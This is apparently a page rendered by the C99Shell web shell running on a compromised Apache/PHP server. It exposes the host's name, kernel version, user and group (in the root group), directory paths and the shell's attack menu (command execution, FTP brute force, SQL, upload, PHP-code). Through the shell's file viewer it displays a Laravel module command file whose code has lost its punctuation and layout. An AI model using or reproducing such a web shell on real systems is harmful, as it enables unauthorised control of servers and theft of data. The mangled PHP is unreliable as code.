!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smm.picotech.app/public_html/vendor/nwidart/laravel-modules/src/Commands/   drwxr-xr-x
Free 28.55 GB of 117.98 GB (24.2%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ModuleMakeCommand.php (2.59 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Nwidart\Modules\Commands;

use 
Illuminate\Console\Command;
use 
Nwidart\Modules\Contracts\ActivatorInterface;
use 
Nwidart\Modules\Generators\ModuleGenerator;
use 
Symfony\Component\Console\Input\InputArgument;
use 
Symfony\Component\Console\Input\InputOption;

class 
ModuleMakeCommand extends Command
{
    
/**
     * The console command name.
     *
     * @var string
     */
    
protected $name 'module:make';

    
/**
     * The console command description.
     *
     * @var string
     */
    
protected $description 'Create a new module.';

    
/**
     * Execute the console command.
     */
    
public function handle() : int
    
{
        
$names $this->argument('name');
        
$success true;

        foreach (
$names as $name) {
            
$code with(new ModuleGenerator($name))
                ->
setFilesystem($this->laravel['files'])
                ->
setModule($this->laravel['modules'])
                ->
setConfig($this->laravel['config'])
                ->
setActivator($this->laravel[ActivatorInterface::class])
                ->
setConsole($this)
                ->
setForce($this->option('force'))
                ->
setType($this->getModuleType())
                ->
setActive(!$this->option('disabled'))
                ->
generate();

            if (
$code === E_ERROR) {
                
$success false;
            }
        }

        return 
$success E_ERROR;
    }

    
/**
     * Get the console command arguments.
     *
     * @return array
     */
    
protected function getArguments()
    {
        return [
            [
'name'InputArgument::IS_ARRAY'The names of modules will be created.'],
        ];
    }

    protected function 
getOptions()
    {
        return [
            [
'plain''p'InputOption::VALUE_NONE'Generate a plain module (without some resources).'],
            [
'api'nullInputOption::VALUE_NONE'Generate an api module.'],
            [
'web'nullInputOption::VALUE_NONE'Generate a web module.'],
            [
'disabled''d'InputOption::VALUE_NONE'Do not enable the module at creation.'],
            [
'force'nullInputOption::VALUE_NONE'Force the operation to run when the module already exists.'],
        ];
    }

    
/**
    * Get module type .
    *
    * @return string
    */
    
private function getModuleType()
    {
        
$isPlain $this->option('plain');
        
$isApi $this->option('api');

        if (
$isPlain && $isApi) {
            return 
'web';
        }
        if (
$isPlain) {
            return 
'plain';
        } elseif (
$isApi) {
            return 
'api';
        } else {
            return 
'web';
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0035 ]--